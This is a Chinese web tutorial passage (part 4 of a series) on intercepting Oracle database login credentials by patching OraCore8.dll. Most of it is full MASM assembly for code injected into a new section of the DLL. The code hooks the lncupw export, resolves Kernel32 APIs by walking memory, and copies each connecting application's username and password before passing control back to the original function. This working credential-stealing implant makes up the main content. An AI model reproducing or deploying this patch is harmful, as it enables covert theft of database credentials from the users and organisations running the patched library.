教你如何截获Oracle数据库连接密码
2007-05-10 12:21:15 来源:WEB开发网核心提示: 这段代码完成了3个步骤,首先是扫描PE文件头中的节表,教你如何截获Oracle数据库连接密码(4),并在最后添加一个新的节,以便把附加的代码写到这个节中,从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序; 传递进来的用来连接数据库的用户名和密码地址,;@@:m
这段代码完成了3个步骤,首先是扫描PE文件头中的节表,并在最后添加一个新的节,以便把附加的代码写到这个节中,这个节的属性被设置为可执行、可读、可写,因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令,将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。
下面是被附加到 dll 后的代码,这段代码被写成可以自我定位的格式,代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址,然后调用这两个函数获取其他一系列要用到的函数的入口地址:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 要被添加到 OraCore8.dll 文件后面的执行代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 一些函数的原形定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword
_Protowsprintf typedef proto c :dword,:VARARG
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiMessageBox typedef ptr _ProtoMessageBox
_Apiwsprintf typedef ptr _Protowsprintf
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
APPEND_CODE equ this byte
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_MessageBox _ApiMessageBox ?
_wsprintf _Apiwsprintf ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szUser32 db 'user32',0
szMessageBox db 'MessageBoxA',0
szwsprintf db 'wsprintfA',0
szCaption db 'Oracle 8i 密码截取补丁',0
szFormatPwd db '截获 Oracle 连接:',0dh,0ah,0dh,0ah
db '用户名:%s',0dh,0ah
db '密 码:%s',0
szTmpBuffer db 512 dup (?)
szUserName db 64 dup (?)
szPassWord db 64 dup (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret
_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szKernel32 db 'KERNEL32'
_GetKernelBase proc _dwKernelRet
local @dwReturn
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
mov edi,_dwKernelRet
and edi,0ffff0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi,edi
add esi,[esi+003ch]
.if word ptr [esi] == IMAGE_NT_SIGNATURE
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,edi
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[esi].nName
add esi,edi
mov ecx,sizeof szKernel32
push edi
lea edi,[ebx+szKernel32]
cld
repz cmpsb
pop edi
.if ZERO?
mov @dwReturn,edi
.break
.endif
assume esi:nothing
.endif
.endif
_PageError:
sub edi,010000h
.break .if edi < 70000000h
.endw
pop fs:[0]
add esp,0ch
popad
mov eax,@dwReturn
ret
_GetKernelBase endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi proc _hModule,_lpszApi
local @dwReturn,@dwStringLength
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Error]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
mov esi,_hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,[ebx]
add edi,_hModule
mov esi,_lpszApi
mov ecx,@dwStringLength
repz cmpsb
.if ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx,4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 新的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
pushad
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
.if dword ptr [ebx+_MessageBox]
jmp @F
.endif
;********************************************************************
invoke _GetKernelBase,7b000000h ;获取Kernel32.dll基址
or eax,eax
jz _ToOldEntry
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_GetProcAddress],eax
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_LoadLibrary],eax
lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
or eax,eax
jz _ToOldEntry
mov [ebx+hDllUser32],eax
lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
or eax,eax
jz _ToOldEntry
lea eax,[ebx+szwsprintf] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_wsprintf],eax
or eax,eax
jz _ToOldEntry
;********************************************************************
; 程序功能开始
;********************************************************************
; lncupw 的调用方式是:
; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1
; 现在的堆栈内容是:
; ...
; esp+14*4 dwLenUserName
; esp+13*4 addr szUserName
; esp+12*4 dwLenPass
; esp+11*4 addr szPassword
; esp+10*4 1eh
; esp+9*4 addr Output
; esp+8*4 call's return address
; esp+到esp+8*4 pusha 推入堆栈的8个寄存器值
;
; 所以,从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序
; 传递进来的用来连接数据库的用户名和密码地址。
;********************************************************************
@@:
mov esi,[esp+13*4] ;username
lea edi,[ebx+szUserName]
mov ecx,[esp+14*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
cld
rep movsb
xor eax,eax
stosb
mov esi,[esp+11*4] ;password
lea edi,[ebx+szPassWord]
mov ecx,[esp+12*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
rep movsb
xor eax,eax
stosb
lea eax,[ebx+szUserName]
lea ecx,[ebx+szPassWord]
lea edx,[ebx+szFormatPwd]
lea esi,[ebx+szTmpBuffer]
invoke [ebx+_wsprintf],esi,edx,eax,ecx
lea ecx,[ebx+szTmpBuffer]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION
;********************************************************************
; 执行原来的文件
;********************************************************************
_ToOldEntry:
popad
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的 lncupw 函数的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte
对 OraCore8.dll 进行了这样的补丁以后,凡是有应用程序连接 Oracle 数据库,附加代码就可以截获到连接所用的用户名和密码并通过一个 MessageBox 显示出来了!
更多精彩
赞助商链接